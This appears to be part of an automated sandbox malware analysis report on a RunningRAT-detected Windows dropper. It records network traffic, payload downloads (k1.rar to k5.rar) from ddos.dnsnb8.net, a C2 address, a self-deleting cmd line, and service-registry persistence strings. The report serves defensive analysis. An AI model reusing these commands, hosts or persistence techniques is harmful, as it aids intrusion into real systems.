Oct 29, 2024 10:58:59.731234074 CET	799	49731	44.221.84.105	192.168.2.4
Oct 29, 2024 10:58:59.731331110 CET	49731	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.731482029 CET	49731	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:58:59.737152100 CET	799	49731	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.276698112 CET	799	49731	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.276781082 CET	49731	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:00.311826944 CET	799	49731	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.311897039 CET	49731	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:00.323430061 CET	49731	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:00.328959942 CET	799	49731	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.416440964 CET	49732	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:00.422079086 CET	799	49732	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.422405005 CET	49732	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:00.426211119 CET	49732	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:00.431684017 CET	799	49732	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.973638058 CET	799	49732	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:00.976850033 CET	49732	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.008347988 CET	799	49732	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.008857965 CET	49732	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.085131884 CET	49732	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.090738058 CET	799	49732	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.112142086 CET	49733	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.119769096 CET	799	49733	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.124877930 CET	49733	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.125066042 CET	49733	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.131089926 CET	799	49733	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.670881033 CET	799	49733	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.671009064 CET	49733	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.705343962 CET	799	49733	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.705403090 CET	49733	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.710223913 CET	49733	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.715553045 CET	799	49733	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.736068964 CET	49734	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.741574049 CET	799	49734	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:01.741746902 CET	49734	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.741947889 CET	49734	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:01.747263908 CET	799	49734	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:02.286957026 CET	799	49734	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:02.288886070 CET	49734	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:02.321790934 CET	799	49734	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:02.324898958 CET	49734	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:02.350955009 CET	49734	799	192.168.2.4	44.221.84.105
Oct 29, 2024 10:59:02.356461048 CET	799	49734	44.221.84.105	192.168.2.4
Oct 29, 2024 10:59:03.286133051 CET	49735	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:03.291642904 CET	8321	49735	119.91.152.151	192.168.2.4
Oct 29, 2024 10:59:03.291765928 CET	49735	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:03.482254982 CET	49735	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:03.487755060 CET	8321	49735	119.91.152.151	192.168.2.4
Oct 29, 2024 10:59:11.784923077 CET	8321	49735	119.91.152.151	192.168.2.4
Oct 29, 2024 10:59:11.784993887 CET	49735	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:11.785151958 CET	49735	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:12.287389040 CET	49743	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:12.292937994 CET	8321	49743	119.91.152.151	192.168.2.4
Oct 29, 2024 10:59:12.293096066 CET	49743	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:12.339306116 CET	49743	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 10:59:12.344947100 CET	8321	49743	119.91.152.151	192.168.2.4
Oct 29, 2024 11:00:02.813931942 CET	8321	49743	119.91.152.151	192.168.2.4
Oct 29, 2024 11:00:02.865097046 CET	49743	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 11:01:02.907212973 CET	8321	49743	119.91.152.151	192.168.2.4
Oct 29, 2024 11:01:02.959022999 CET	49743	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 11:02:02.998500109 CET	8321	49743	119.91.152.151	192.168.2.4
Oct 29, 2024 11:02:03.052860975 CET	49743	8321	192.168.2.4	119.91.152.151
Oct 29, 2024 11:03:03.093449116 CET	8321	49743	119.91.152.151	192.168.2.4
Oct 29, 2024 11:03:03.146815062 CET	49743	8321	192.168.2.4	119.91.152.151

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 10:58:58.815690994 CET	55716	53	192.168.2.4	1.1.1.1
Oct 29, 2024 10:58:59.005286932 CET	53	55716	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 10:58:58.815690994 CET	192.168.2.4	1.1.1.1	0x227d	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 10:58:59.005286932 CET	1.1.1.1	192.168.2.4	0x227d	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ddos.dnsnb8.net:799

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	44.221.84.105	799	6180	C:\Users\user\AppData\Local\Temp\XekSuT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:58:59.052006006 CET	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	44.221.84.105	799	6180	C:\Users\user\AppData\Local\Temp\XekSuT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:58:59.731482029 CET	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	44.221.84.105	799	6180	C:\Users\user\AppData\Local\Temp\XekSuT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:59:00.426211119 CET	288	OUT	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	44.221.84.105	799	6180	C:\Users\user\AppData\Local\Temp\XekSuT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:59:01.125066042 CET	288	OUT	GET /cj//k4.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	44.221.84.105	799	6180	C:\Users\user\AppData\Local\Temp\XekSuT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:59:01.741947889 CET	288	OUT	GET /cj//k5.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Target ID:	0
Start time:	05:58:57
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\gE4NVCZDRk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\gE4NVCZDRk.exe"
Imagebase:	0x400000
File size:	69'632 bytes
MD5 hash:	02B3757B29002A8FCABD9AFAEBF1F7D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RunningRAT, Description: Yara detected RunningRAT, Source: 00000000.00000000.1680620714.0000000000403000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:58:57
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
Imagebase:	0x3c0000
File size:	15'872 bytes
MD5 hash:	56B2C3810DBA2E939A8BB9FA36D3CF96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 97%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:58:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\svchost.exe -k "SySyeu"
Imagebase:	0xac0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:58:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\svchost.exe -k "SySyeu"
Imagebase:	0xac0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	05:58:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:58:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:58:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 1
Imagebase:	0xcf0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:59:01
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\SySyeu.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\SySyeu.exe "c:\users\user\appdata\local\temp\6011859.dll",MainThread
Imagebase:	0xe10000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:59:03
Start date:	29/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:59:03
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6180 -ip 6180
Imagebase:	0x3f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:59:03
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 1456
Imagebase:	0x3f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:00:18
Start date:	29/10/2024
Path:	C:\Windows\System32\wbem\WMIADAP.exe
Wow64 process (32bit):	false
Commandline:	wmiadap.exe /F /T /R
Imagebase:	0x7ff70f2a0000
File size:	182'272 bytes
MD5 hash:	1BFFABBD200C850E6346820E92B915DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	30.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	187
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040C044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0040C223
WriteFile.KERNELBASE(00000000,FFFF6661,00003E00,?,00000000), ref: 0040C252
CloseHandle.KERNELBASE(00000000), ref: 0040C256
WinExec.KERNEL32(?,00000005), ref: 0040C262

Strings

el32, xrefs: 0040C0FB
Kern, xrefs: 0040C0F4
.dll, xrefs: 0040C102
XekSuT.exe, xrefs: 0040C1FD, 0040C200
WinE, xrefs: 0040C110
athA, xrefs: 0040C199
GetM, xrefs: 0040C0B6
dleA, xrefs: 0040C0D0
catA, xrefs: 0040C1AF
GetT, xrefs: 0040C188
Crea, xrefs: 0040C169
lstr, xrefs: 0040C1A7
odul, xrefs: 0040C22D
Clos, xrefs: 0040C129
Writ, xrefs: 0040C148

Memory Dump Source

Source File: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: File$CloseCreateExecHandleWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$XekSuT.exe$athA$catA$dleA$el32$lstr$odul
API String ID: 3741012433-1337179472
Opcode ID: eb1dc1aab9616a873a9176c867fcb90dca47bb34ce89b5d6d60bc17a18132d92
Instruction ID: 4eef44a04be80027630e64d62b81b4b0f7cb2a7a9c358aa5d242a05e89df5a28
Opcode Fuzzy Hash: eb1dc1aab9616a873a9176c867fcb90dca47bb34ce89b5d6d60bc17a18132d92
Instruction Fuzzy Hash: F461F574D01215DBCF24CF94C884AAEB7B0BB48715F2582ABD405BB782C7789E81CF99

Function 00401794 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 67
libraryloaderprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 004017A8
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 004017BA
GetProcAddress.KERNEL32(?,Process32First), ref: 004017CF
GetProcAddress.KERNEL32(?,Process32Next), ref: 004017E1
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004017F5
Process32First.KERNEL32(00000000,00000128), ref: 00401819
Process32Next.KERNEL32(00000000,00000128), ref: 0040182C
lstrcmpiA.KERNEL32(00000000,?), ref: 00401843
CloseHandle.KERNELBASE(00000000), ref: 0040185C
FreeLibrary.KERNEL32(00000000), ref: 0040186C

Strings

CreateToolhelp32Snapshot, xrefs: 004017B1
Process32First, xrefs: 004017C6
kernel32.dll, xrefs: 004017A3
Process32Next, xrefs: 004017D8

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: AddressProc$LibraryProcess32$CloseCreateFirstFreeHandleLoadNextSnapshotToolhelp32lstrcmpi
String ID: CreateToolhelp32Snapshot$Process32First$Process32Next$kernel32.dll
API String ID: 653906424-4285911020
Opcode ID: 1fd417c11413756bd4715d1432974552d424e7ffcafe747e360662e6f791f9bc
Instruction ID: e698cd54efef0762fd02a762dd22e0b3df5000b7872fc78e3db917c3bca36737
Opcode Fuzzy Hash: 1fd417c11413756bd4715d1432974552d424e7ffcafe747e360662e6f791f9bc
Instruction Fuzzy Hash: 39210E75D41218EFDB10EFA0D949BEEBBB8FB48301F10846AE505B2290D7749B80CF54

Function 00401B6B Relevance: 24.5, APIs: 9, Strings: 5, Instructions: 48
librarythreadloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(shell32.dll,?), ref: 00401B80
GetProcAddress.KERNEL32(?,ShellExecuteA), ref: 00401B98
__p__pgmptr.MSVCRT ref: 00401BBA
sprintf.MSVCRT ref: 00401BCF
GetCurrentProcess.KERNEL32(00000100), ref: 00401BDD
SetPriorityClass.KERNELBASE(00000000), ref: 00401BE4
GetCurrentThread.KERNEL32 ref: 00401BEC
SetThreadPriority.KERNELBASE(00000000), ref: 00401BF3
ShellExecuteA.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00401C10

Strings

open, xrefs: 00401C09
cmd.exe, xrefs: 00401C04
shell32.dll, xrefs: 00401B7B
ShellExecuteA, xrefs: 00401B8C
/c ping 127.0.0.1 -n 1 && del /f/q "%s", xrefs: 00401BC3

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: CurrentPriorityThread$AddressClassExecuteLibraryLoadProcProcessShell__p__pgmptrsprintf
String ID: /c ping 127.0.0.1 -n 1 && del /f/q "%s"$ShellExecuteA$cmd.exe$open$shell32.dll
API String ID: 239697722-3584563708
Opcode ID: 7249951d3074dcb4a7fe4bb46aef8e51ce1700dc43be1304f4320e222d999fe6
Instruction ID: 03b7caf6ff0ed763f8f9b181b84943af9cfe637eb8e7dbc85a8f0fb9157acd93
Opcode Fuzzy Hash: 7249951d3074dcb4a7fe4bb46aef8e51ce1700dc43be1304f4320e222d999fe6
Instruction Fuzzy Hash: 5A11A171E44208ABEB109FA4DD0ABD9BB7CAB08702F0000B5F645F61D1CBF45A848F69

Function 00401134 Relevance: 115.8, APIs: 42, Strings: 24, Instructions: 337
sleeplibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#2621.MFC42 ref: 00401162
Sleep.KERNELBASE(00000000), ref: 0040116A
GetCommandLineA.KERNEL32 ref: 00401170
strstr.MSVCRT ref: 00401188
Sleep.KERNELBASE(00000000), ref: 004011AF
wsprintfA.USER32 ref: 004011DE

Part of subcall function 00401C18: memset.MSVCRT ref: 00401C59
Part of subcall function 00401C18: memset.MSVCRT ref: 00401C69
Part of subcall function 00401C18: LoadLibraryA.KERNEL32(ADVAPI32.dll), ref: 00401C76
Part of subcall function 00401C18: GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 00401C8E
Part of subcall function 00401C18: GetProcAddress.KERNEL32(?,RegQueryValueExA), ref: 00401CA3
Part of subcall function 00401C18: GetProcAddress.KERNEL32(?,RegCloseKey), ref: 00401CB8
Part of subcall function 00401C18: FreeLibrary.KERNEL32(00000000), ref: 00401D62

lstrcpyA.KERNEL32(SySyeu,?,80000002,?,DisplayName,00000001,System Reta Da miula), ref: 0040121E

Part of subcall function 00401C18: lstrcpyA.KERNEL32(?,?), ref: 00401D1F

wsprintfA.USER32 ref: 0040125A
Sleep.KERNEL32(00000000), ref: 00401307
LoadLibraryA.KERNELBASE(shell32.dll), ref: 00401312
GetProcAddress.KERNEL32(?,ShellExecuteA), ref: 0040132A
Sleep.KERNELBASE(00000000), ref: 00401338
LoadLibraryA.KERNEL32(kernel32.dll), ref: 00401343
GetProcAddress.KERNEL32(?,CreateMutexA), ref: 0040135B
Sleep.KERNELBASE(00000001), ref: 00401369
GetProcAddress.KERNEL32(?,ReleaseMutex), ref: 0040137B
wsprintfA.USER32 ref: 004013A4
CreateMutexA.KERNELBASE(00000000,00000000,?), ref: 004013B8
GetLastError.KERNEL32 ref: 004013CD
CloseHandle.KERNEL32(00000000), ref: 004013F6
Sleep.KERNEL32(00000000), ref: 004013FE
GetProcAddress.KERNEL32(?,GetVersionExA), ref: 00401410
Sleep.KERNEL32(00000000), ref: 0040142F
ExpandEnvironmentStringsA.KERNEL32(%ALLUSERSPROFILE%\Application Data\DRM\,?,00000104), ref: 00401446
Sleep.KERNEL32(00000000), ref: 0040144E
GetFileAttributesA.KERNELBASE(?), ref: 0040145B
ExpandEnvironmentStringsA.KERNEL32(%Temp%\,?,00000104), ref: 00401489
#537.MFC42(?), ref: 0040149E

Part of subcall function 004016EB: _access.MSVCRT ref: 00401714

#800.MFC42(?,?), ref: 004014C9
GetFileAttributesA.KERNEL32(?,?,?), ref: 004014D5
GetTickCount.KERNEL32 ref: 004014E2
wsprintfA.USER32 ref: 004014FC
Sleep.KERNEL32(00000000), ref: 00401507
Sleep.KERNEL32(00000000,00000000), ref: 00401546
LoadLibraryA.KERNELBASE(00000000,360tray.exe), ref: 004015C7
Sleep.KERNELBASE(00000000), ref: 004015E2
GetProcAddress.KERNEL32(00000000,Install), ref: 004015F4
wsprintfA.USER32 ref: 00401662
FreeLibrary.KERNEL32(00000000), ref: 00401698
Sleep.KERNEL32(00000000), ref: 004016A0
FreeLibrary.KERNELBASE(00000000), ref: 004016AD
Sleep.KERNELBASE(00000000), ref: 004016D2

Strings

DisplayName, xrefs: 004011EE
ServiceDll, xrefs: 004012B9, 004012BF
GUpdate, xrefs: 0040117C
SYSTEM\CurrentControlSet\Services\%s, xrefs: 004011D2
119.91.152.151, xrefs: 00401393
ReleaseMutex, xrefs: 0040136F
Description, xrefs: 0040122B
SYSTEM\CurrentControlSet\Services\%s\Parameters, xrefs: 0040124E
shell32.dll, xrefs: 0040130D
rundll32.exe, xrefs: 00401676
System Reta Da miula, xrefs: 004011E7
Install, xrefs: 004015E8
%ALLUSERSPROFILE%\Application Data\DRM\, xrefs: 00401441
ShellExecuteA, xrefs: 0040131E
"%s",MainThread, xrefs: 00401656
GetVersionExA, xrefs: 00401404
%s:%d:%s, xrefs: 00401398
kernel32.dll, xrefs: 0040133E
360tray.exe, xrefs: 004015A0, 004015A6
%s%d.dll, xrefs: 004014F0
CreateMutexA, xrefs: 0040134F
%Temp%\, xrefs: 00401484
SySyeu, xrefs: 00401219, 00401387
open, xrefs: 0040167B

Memory Dump Source

Source File: 00000000.00000002.1705727404.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1705695243.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705801801.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705840310.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705893114.000000000040D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_gE4NVCZDRk.jbxd

Similarity

API ID: Sleep$AddressProc$Library$wsprintf$Load$Free$AttributesEnvironmentExpandFileStringslstrcpymemset$#2621#537#800CloseCommandCountCreateErrorHandleLastLineMutexTick_accessstrstr
String ID: "%s",MainThread$%ALLUSERSPROFILE%\Application Data\DRM\$%Temp%\$%s%d.dll$%s:%d:%s$119.91.152.151$360tray.exe$CreateMutexA$Description$DisplayName$GUpdate$GetVersionExA$Install$ReleaseMutex$SYSTEM\CurrentControlSet\Services\%s$SYSTEM\CurrentControlSet\Services\%s\Parameters$ServiceDll$ShellExecuteA$SySyeu$System Reta Da miula$kernel32.dll$open$rundll32.exe$shell32.dll
API String ID: 2440389195-1842670322
Opcode ID: 33c2655f0df4c5bdb74095cc6ef8f893952d5ebb8828a241915ac991c88762e1
Instruction ID: 3e4d9021d073eed2ebaccca2140894c21fcc0a3ec56120faac2ae3b4723efbfb
Opcode Fuzzy Hash: 33c2655f0df4c5bdb74095cc6ef8f893952d5ebb8828a241915ac991c88762e1
Instruction Fuzzy Hash: 68E17E70945258DFEB20DB64CD49BDEBB79AB44306F0041EAE109B62E1CB795F84CF29

Function 004028D2 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 004028FF
__p__fmode.MSVCRT ref: 00402914
__p__commode.MSVCRT ref: 00402922
__setusermatherr.MSVCRT ref: 0040294E
_initterm.MSVCRT ref: 00402964
__getmainargs.MSVCRT ref: 00402987
_initterm.MSVCRT ref: 00402997
GetStartupInfoA.KERNEL32(?), ref: 004029D6
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004029FA
exit.KERNELBASE ref: 00402A0A
_XcptFilter.MSVCRT ref: 00402A1C

Memory Dump Source

